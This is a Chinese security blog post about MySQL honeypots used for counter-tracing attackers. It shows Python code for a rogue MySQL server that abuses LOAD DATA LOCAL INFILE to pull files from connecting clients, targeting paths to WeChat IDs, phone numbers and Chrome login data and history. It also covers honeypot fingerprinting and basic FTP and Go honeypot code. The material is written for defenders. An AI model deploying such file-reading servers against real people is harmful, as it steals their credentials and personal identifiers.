记对MYSQL蜜罐的溯源反制研究
vghost 发表于 北京 企业安全 2440浏览 · 2024-05-06 06:24

Mysql蜜罐的利用

Mysql任意文件读取

mysql蜜罐通过搭建一个简单的mysql服务,如果攻击者对目标客户进行3306端口爆破,并且用navicat等工具连接蜜罐服务器,就可能被防守方读取本地文件,包括微信配置文件和谷歌历史记录等等,这样很容易被防守方溯源。
mysql中有一个load data local infile函数能够读取本地文件到mysql数据库中。

LOAD DATA INFILE语句用于高速地从一个文本文件中读取行,并写入一个表中。文件名称必须为一个文字字符串。LOAD DATA INFILE 是 SELECT ... INTO OUTFILE 的相对语句。把表的数据备份到文件使用SELECT ... INTO OUTFILE,从备份文件恢复表数据,使用 LOAD DATA INFILE
开启这些功能
show global variables like 'local_infile';
set global local_infile=1; # 开启

漏洞利用

尝试读取本地的C盘目录下的win.ini文件:
load data local infile 'c:/windows/win.ini' into table test1 fields terminated by '\n';
首先去启动mysql环境

然后接着去使用navicat进行连接

然后去读取文件

成功读取windwos.ini文件。

流量分析

在Wireshak抓包可以看到正常的执行流程如下:
● Client向Server发起Load data local infile请求
● Server返回需要读取的文件路径
● Client读取文件内容并发送给Server
● PS:在本机上启动服务端与客户端,启动wireshark 抓包,要选择回环接口:Adapter for lookback traffic capture ,如果选择本地连接,会抓不到流量包。


MySQL客户端使用TCP协议作为底层传输协议,而使用Mysql公司自身的mysql Protocol协议作为应用层协议。我们可以通过Wireshark抓包工具,对MySQL客户端访问服务器过程中交换的mysql Protocol协议进行分析,从而深入理解MySQL数据库软件的工作原理。
附Wireshark支持分析的协议表:

本文使用两台电脑实现抓包操作,一台电脑作为服务器(ip: 192.168.0.102),另外一台电脑作为客户端(ip: 192.168.0.108)。使用Wireshark抓取MySQL数据包操作步骤如下:
1.将Wireshark软件打开,并在过滤器里输入“mysql”,然后启动监听过程;

2.使用客户端工具访问服务器

3.查看MySQL客户端登陆服务器捕捉过程

附上查询数据表数据的抓包截图:

注: mysql 协议默认分析的是 3306端口的数据;如果你的端口不是3306,请先在如下配置修改端口分析
wireshark-》编辑-》首选项-》protocol下找到myqsl

网络协议

TCP/IP协议图

筛选mysql流量
接着进行抓包。
通过过滤条件过滤出报文 协议 mysql 或端口 tcp.port == 3306

在Greeting包返回了服务端的版本等信息

然后使用navicat客户端连接服务端。接着看到一个Request Query包,客户端发送请求。

在客户端连接MySQL服务端后,向服务端发起查询请求

服务端返回一个Response TABULAR,指定读取的文件路径

客户端读取文件内容并发送给服务端
从上面交互过程可以看出,在Client向Server发起查询后,Server会返回一个Response TABULAR的响应包。而如果在这个数据包中指定文件路径,就可以读取Client相应的文件。实际上Server可以在回复任何Client端的请求时返回Response TABULAR响应包,而不仅仅是在Client发起Load data local infile后。

应用场景

攻击者在对目标网站进行攻击时,通常会发现网站的一些漏洞,我们这里使用蜜罐技术,故意暴露我们的MySQL数据库,将数据库设置弱口令,让攻击者可以爆破出账号密码,使用工具进行连接。攻击者在使用navicat连接我们的数据库时成功后,我们可以执行代码,利用MySQL读取文件获取到攻击者的手机号、微信号、地址等信息。
mysql蜜罐读取敏感信息

使用方法

下载文件之后,启动3306端口
python2 exp_dicc.py 3306

成功读取
C:/windows/win.ini
C:/windows/system.ini
读配置文件

读取微信id

在Windows中,Windows下,微信默认的配置文件放在:C:\Users\username\Documents\WeChat Files\All Users\config\config.data 中含有微信ID及网络名称:

读取手机号和微信ID的方法(默认常见微信文件路径):
通过C:/Windows/PFRO.log获取windows用户名
通过C:/Users/用户名/Documents/WeChatFiles/AllUsers/config/config.data获取wxid
通过C:/Users/用户名/Documents/WeChatFiles/wx_id/config/AccInfo.dat获取微信号、手机号

可以通过这串代码来将id转换为二维码。

import qrcode
from PIL import Image
import os

# 生成二维码图片
# 参数为wxid和二维码要保存的文件名
def make_qr(str,save):
    qr=qrcode.QRCode(
        version=4,  #生成二维码尺寸的大小 1-40  1:21*21(21+(n-1)*4)
        error_correction=qrcode.constants.ERROR_CORRECT_M, #L:7% M:15% Q:25% H:30%
        box_size=10, #每个格子的像素大小
        border=2, #边框的格子宽度大小
    )
    qr.add_data(str)
    qr.make(fit=True)

    img=qr.make_image()
    img.save(save)

# 读取到的wxid
wxid = 'wxid_u3mntwd4glaq22'
qr_id = 'weixin://contacts/profile/' + wxid
make_qr(qr_id,'demo.jpg')

可以通过读取.从C:/Users/用户名/Documents/WeChat Files/wx_id/config/AccInfo.dat,获取微信号、绑定的手机号、邮箱等信息。

核心代码分析

下面的代码主要有两个作用

  1. 判断是否为扫描器或者密码爆破工具,进行交互握手,效果是扫描器直接爆3306弱口令。
  2. 如果是直接连接,去读取设定好的文件,并写入本地保存。
    这些函数用于从MySQL数据库中获取指定文件的内容。它接收一个文件名、连接和地址作为输入参数。它创建一个日志目录,用于存储获取到的文件内容。它通过连接发送和接收数据,以检索文件内容。如果检索到的内容大于6个字节,则将其写入日志目录中的文件,并返回一个包含True值和内容的元组。否则,返回一个包含False值和内容的元组。
def mysql_get_file_content(filename,conn,address):
    logpath = os.path.abspath('.') + "/log/" + address[0]
    if not os.path.exists(logpath):
        os.makedirs(logpath)
    conn.sendall("xxx")
    try:
        conn.recv(1024000)
    except Exception as e:
        print(e)
    try:
        conn.sendall("xx")
        res1 = conn.recv(1024000)
        # SHOW VARIABLES
        if 'SHOW VARIABLES' in res1:
            conn.sendall("xxx")
            res2 = conn.recv(9999)
            if 'SHOW WARNINGS' in res2:
                conn.sendall("xxx")
                res3 = conn.recv(9999)
                if 'SHOW COLLATION' in res3:
                    conn.sendall("xxx")
                    res4 = conn.recv(9999)
                    if 'SET NAMES utf8' in res4:
                        conn.sendall("xxx")
                        res5 = conn.recv(9999)
                        if 'SET character_set_results=NULL' in res5:
                            conn.sendall("xxx")
                            conn.close()
                    else:
                        conn.close()
                else:
                    conn.close()
            else:
                conn.close()
        else:
            try:
                wantfile = chr(len(filename) + 1) + "\x00\x00\x01\xFB" + filename
                conn.sendall(wantfile)
                content=''
                while True:
                    data = conn.recv(1024)
                    print len(data)
                    content += data
                    if len(data) < 1024:
                        print 'ok'
                        break

                conn.close()
                item=logpath + "/" + filename.replace("/", "_").replace(":", "")+'_'+str(random.random())
                if len(content) > 6:
                    with open(item, "w") as f:
                        f.write(content)
                        f.close()
                    return (True,content)
                else:
                    return (False,content)
            except Exception as e:
                print (e)
    except Exception as e:
        print (e)

为防止读取文件内容不完整,可以加入while循环。

while True:
        conn, address = sv.accept()
        first_time = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
        global files1
        global username
        global wx_id
        file=files1[0].replace('Administrator',username).replace('wx_id',wx_id)
        res,content = mysql_get_file_content(file,conn,address)
        files1.append(files1[0])
        files1.remove(files1[0])
        if res:
            if 'PFRO' in file:
                username = get_username(content)
                s= "xx" % (xx)
                cursor.execute(s)
                data = cursor.fetchall()
                if len(data)==0:
                    s = "XX" % (xx)
                    cursor.execute(s)
                    db.commit()
                    print 'success:'+ file
                    insert_file(file,address,username)
            elif 'config.data'in file:
                content = content
                wxid = re.findall(r'WeChatFiles\(.*)\config', content)[0]
                sql = "xxx" % (xxx)
                cursor.execute(sql)
                db.commit()
                wx_id=wxid
                img = qrcode.make('weixin://contacts/profile/'+wxid)
                img.save(os.path.abspath('.')+'/static/pic/'+wxid+'.png') 
                print 'success:'+ file
                insert_file(file,address,username)
            elif 'AccInfo' in file:
                content = content
                phone = re.findall(r'[0-9]{11}', content)[-1]
                sql = "xxx" % (xxx)
                cursor.execute(sql)
                db.commit()
                print 'success:'+ file
                insert_file(file,address,username)
        else:
            files1=files
            username='Administrator'

部署方法:

先把代码放入vps中或者机器里面。
然后修改webServer.py中admin的密码,当然,你也可以更换用户名,这个根据个人习惯来修改。
可以通过docker启用服务,运行本项目

使用方法

攻击者通常会发现我们网站的一些漏洞,我们这里使用蜜罐技术,故意暴露我们的数据库,我们数据库这里设置弱口令,让攻击者可以连接。

攻击者在使用navicat连接我们的数据库时成功后,我们可以执行代码,读取到它的手机号、微信号、地址

读取Chrome账号和历史记录

在这里看到当前反制可以理解为一个ssrf了,可以下载电脑中的大部分文件,具体的有:
chrome的login data,虽然无法解密出密码,但是还是可以获取到对方的一些账号的
‘C:/Users/’ + username + ‘/AppData/Local/Google/Chrome/User Data/Default/Login Data’
chrome的历史记录
‘C:/Users/’ + username + ‘/AppData/Local/Google/Chrome/User Data/Default/History

MYsql蜜罐识别

协议识别

蜜罐识别中的协议实现识别是指通过分析网络流量中的协议实现细节来识别蜜罐系统。蜜罐系统可能会模拟一些协议或服务,攻击者可能会试图与这些模拟的协议进行交互。通过分析网络流量中的协议实现细节,可以发现一些不寻常的特征,这些特征可能表明某个协议是由蜜罐系统实现的。
以下是一些可能的协议实现识别技术:
● 协议字段:蜜罐系统可能会使用一些不寻常的协议字段或值,这些字段或值可能在真实系统中不常见。
● 协议行为:蜜罐系统可能会对协议的行为做出不寻常的响应或行为,如不寻常的错误消息或虚假的响应。
● 协议版本:蜜罐系统可能会使用一些不寻常的协议版本,这些版本可能在真实系统中不常见。
● 协议实现的缺陷:蜜罐系统可能会模拟一些协议实现的缺陷,这些缺陷可能在真实系统中不存在。
● 协议实现的限制:蜜罐系统可能会模拟一些协议实现的限制,这些限制可能在真实系统中不存在。

环境特征

蜜罐识别中的环境特征是指蜜罐系统本身或其周围环境中的一些特征,这些特征可能与真实系统或服务不同,从而可以用于识别蜜罐系统。以下是一些可能的蜜罐环境特征:
● 开放的端口或服务:蜜罐通常会模拟一些常见的开放端口或服务,攻击者可能会扫描这些端口或服务,从而暴露蜜罐系统。
● 不寻常的操作系统或版本:蜜罐系统可能使用一些不寻常的操作系统或版本,攻击者可能会注意到这些差异。
● 不寻常的软件或配置:蜜罐系统可能使用一些不寻常的软件或配置,攻击者可能会注意到这些差异。
● 不寻常的文件或目录结构:蜜罐系统可能具有一些不寻常的文件或目录结构,攻击者可能会注意到这些差异。
● 不寻常的响应或行为:蜜罐系统可能会对攻击者的行为做出不寻常的响应或行为,这可能会引起攻击者的怀疑。
● 额外的网络流量:蜜罐系统可能会生成额外的网络流量,如虚假的响应或日志信息,这可能会引起攻击者的注意。
部分蜜罐的用户名、密码固定,或内存使用、进程占用等动态特征变化较为规律,可以通过这种方式来判断是否为蜜罐。

指纹识别

  1. 蜜罐很多都是模拟响应
  2. 某个蜜罐很火很多人去用
  3. 既然是模拟那就一定会是代码模拟
  4. 有代码模拟==一定存在有规律的响应
  5. 有规律的响应== 可以总结出指纹
  6. 总结出指纹 == 被网络测绘系统识别
  7. 蜜罐魔改 改变模拟的响应 接着跳回2.

其它方法

还有就是benchen师傅写的一些识别方法
https://mp.weixin.qq.com/s/f30RvhYlB97dXnjzv4_H_Q

通过ThreadId 识别蜜罐

在正常的数据库中,ThreadId是非常大的,而且几乎增长速度很快。
在蜜罐中就不是如此了,我们通过多次GetServerInfo,发现Hfish的ThreadId是不变的。
有时边缘遗忘的数据库ThreadId增长速度很慢,这并不代表这个数据库是一个蜜罐。
我们可以通过这个特点来进行识别。

通过Salt(盐) 识别蜜罐

正常的数据库,Salt(盐) 每次请求都会有变化的。
而部分蜜罐是没有这个所谓的变化,每次请求都相同。
如果你遇到一个多次请求 Salt(盐) 是一样的,那你可要注意了,这台数据库百分之百是一个蜜罐。

通过Mysql拉黑机制来判断目标是否为蜜罐

在某塔以及官网安装的Mysql,默认的连接错误拉黑次数是15。
在连接错误次数到15时,再次请求Mysql服务器,服务器会向你发送一个错误代码:1129。
准确率:配合ThreadId可以达到百分之80。

通过登录验证识别蜜罐

有些协议实现不完善的蜜罐,会把任意输入的用户名以及密码当成正确的。
常见的有,Mysql读取客户端任意文件并且没有实现认证的如下:
https://github.com/Gifts/Rogue-MySql-Server
https://gitee.com/lauix/HFish
特点就是输入任意用户名和密码都会显示登录成功。

蜜罐的开发:

python开发

  1. 选择蜜罐类型:根据需要选择合适的蜜罐类型,如网络蜜罐、系统蜜罐、应用程序蜜罐等。
  2. 设计蜜罐架构:设计蜜罐系统的架构,包括模拟的系统或服务、可用的协议、数据收集和分析等方面。
  3. 实现蜜罐功能:使用Python编写代码实现蜜罐的功能,如模拟协议、收集攻击数据、生成报告等。
  4. 选择合适的Python库:使用Python库可以简化蜜罐的开发过程,如Scapy用于网络流量分析、PyQt用于图形用户界面设计、Pandas用于数据分析等。
  5. 实现数据收集和分析:使用Python编写代码实现数据收集和分析功能,如将攻击数据保存到数据库、使用机器学习算法分析攻击模式等。
  6. 测试和优化:对蜜罐进行测试和优化,发现和修复漏洞,提高蜜罐的可用性和安全性。
    Twisted 是一个基于事件的互联网应用程序框架,支持 Python 3.6+。它包括用于许多不同目的的模块,包括:
    ● twisted.web: HTTP 客户端和服务器、HTML 模板和 WSGI 服务器
    ● twisted.conch: SSHv2 和 Telnet 客户端和服务器以及终端仿真器
    ● twisted.words:用于 IRC、XMPP 和其他 IM 协议的客户端和服务器
    ● twisted.mail: IMAPv4、POP3、SMTP 客户端和服务器
    ● twisted.positioning: 与 NMEA 兼容的 GPS 接收器通信的工具
    ● twisted.names: DNS 客户端和工具,用于制作您自己的 DNS 服务器
    ● twisted.trial:与基于 Twisted 的代码很好地集成的单元测试框架。
    只需要在对应的位置返回模拟端口服务的响应即可完成低交互

FTP蜜罐

  1. 设计蜜罐架构:本例中,我们将使用Python和Scapy库实现一个网络蜜罐,模拟一个FTP服务器。我们将收集攻击者的IP地址、用户名和密码,并将它们保存到一个数据库中。
  2. 实现蜜罐功能:我们使用Python编写代码实现蜜罐的功能。具体来说,我们使用Scapy库编写代码来监听FTP流量,解析FTP命令和参数,记录攻击者的IP地址、用户名和密码,并将它们保存到一个SQLite数据库中。以下是代码示例:
from scapy.all import *

def handle_ftp(pkt):
    if pkt.haslayer(TCP) and pkt.haslayer(Raw):
        if pkt[TCP].dport == 21:
            data = pkt[Raw].load.decode('utf-8', errors='ignore')
            if 'USER' in data:
                username = data.split('USER ')[1].strip()
                print('Username: {}'.format(username))
            elif 'PASS' in data:
                password = data.split('PASS ')[1].strip()
                print('Password: {}'.format(password))
                attacker_ip = pkt[IP].src
                save_to_db(attacker_ip, username, password)

def save_to_db(ip, username, password):
    conn = sqlite3.connect('attacks.db')
    c = conn.cursor()
    c.execute('INSERT INTO attacks (ip, username, password) VALUES (?, ?, ?)', (ip, username, password))
    conn.commit()
    conn.close()

if __name__ == '__main__':
    sniff(filter='tcp', prn=handle

go开发

  1. 选择蜜罐类型:网络蜜罐。
  2. 设计蜜罐架构:蜜罐由以下模块组成:
    ● 捕获模块:监听网络流量,识别攻击流量,并将攻击流量发送给分析模块。
    ● 分析模块:对攻击流量进行分析,提取攻击特征,并将分析结果发送给响应模块。
    ● 响应模块:根据分析结果,生成虚假响应,向攻击者发送虚假数据,同时记录攻击行为和攻击者信息。
  3. 开发蜜罐程序:
    ● 捕获模块:使用Go语言编写网络监听程序,监听指定端口的网络流量,并识别攻击流量。
    ● 分析模块:使用Go语言编写攻击流量分析程序,提取攻击特征,并将分析结果发送给响应模块。
    ● 响应模块:使用Go语言编写虚假响应生成程序,根据分析结果生成虚假数据,并向攻击者发送虚假数据。
  4. 集成第三方组件:蜜罐集成了MySQL数据库,用于存储攻击日志和攻击者信息。
  5. 测试和优化:进行系统测试和性能优化,确保蜜罐的稳定性和可靠性。
    监听8080端口
    ,该蜜罐可以监听端口并记录所有连接:
package main

import (
    "fmt"
    "net"
)

func main() {
    port := 8080

    // 监听端口
    listener, err := net.Listen("tcp", fmt.Sprintf(":%d", port))
    if err != nil {
        panic(err)
    }
    defer listener.Close()

    fmt.Printf("Listening on port %d...\n", port)

    // 接受连接
    for {
        conn, err := listener.Accept()
        if err != nil {
            fmt.Printf("Failed to accept connection: %s\n", err)
            continue
        }

        // 处理连接
        go handleConnection(conn)
    }
}

func handleConnection(conn net.Conn) {
    // 记录连接信息
    remoteAddr := conn.RemoteAddr().String()
    fmt.Printf("Connection from %s\n", remoteAddr)

    // 读取数据
    buf := make([]byte, 1024)
    n, err := conn.Read(buf)
    if err != nil {
        fmt.Printf("Failed to read data from %s: %s\n", remoteAddr, err)
        return
    }

    // 打印数据
    fmt.Printf("Data from %s: %s\n", remoteAddr, string(buf[:n]))

    // 关闭连接
    conn.Close()
}

可以监听端口8080,并记录所有连接信息。可以根据需要扩展该代码,添加攻击检测和响应功能,以实现网络蜜罐的基本功能。

总结:

攻击:

  1. SQL注入攻击:攻击者通过构造恶意SQL语句,来获取敏感数据或控制数据库服务器。防御措施包括使用参数化查询、限制数据库用户权限、过滤输入数据等。
  2. 暴力破解攻击:攻击者通过暴力破解密码的方式,来获取数据库服务器的访问权限。防御措施包括使用强密码、限制登录次数、启用多因素认证等。
  3. 信息泄露攻击:攻击者通过获取数据库服务器的信息,来了解数据库服务器的结构和配置,以便进行下一步攻击。防御措施包括限制数据库用户权限、禁止远程访问、启用SSL加密等。

防御:

  1. 加强安全配置:在MySQL蜜罐中,需要加强安全配置,比如限制数据库用户权限、禁用远程访问、限制登录次数等。
  2. 监控攻击行为:在MySQL蜜罐中,需要实时监控攻击行为,比如记录攻击日志、分析攻击特征等。
  3. 响应攻击行为:在MySQL蜜罐中,需要及时响应攻击行为,比如生成虚假数据、发送警报信息等。
  4. 更新和升级:在MySQL蜜罐中,需要定期更新和升级系统和软件,以保持安全性和稳定性。
0 条评论
某人
表情
可输入 255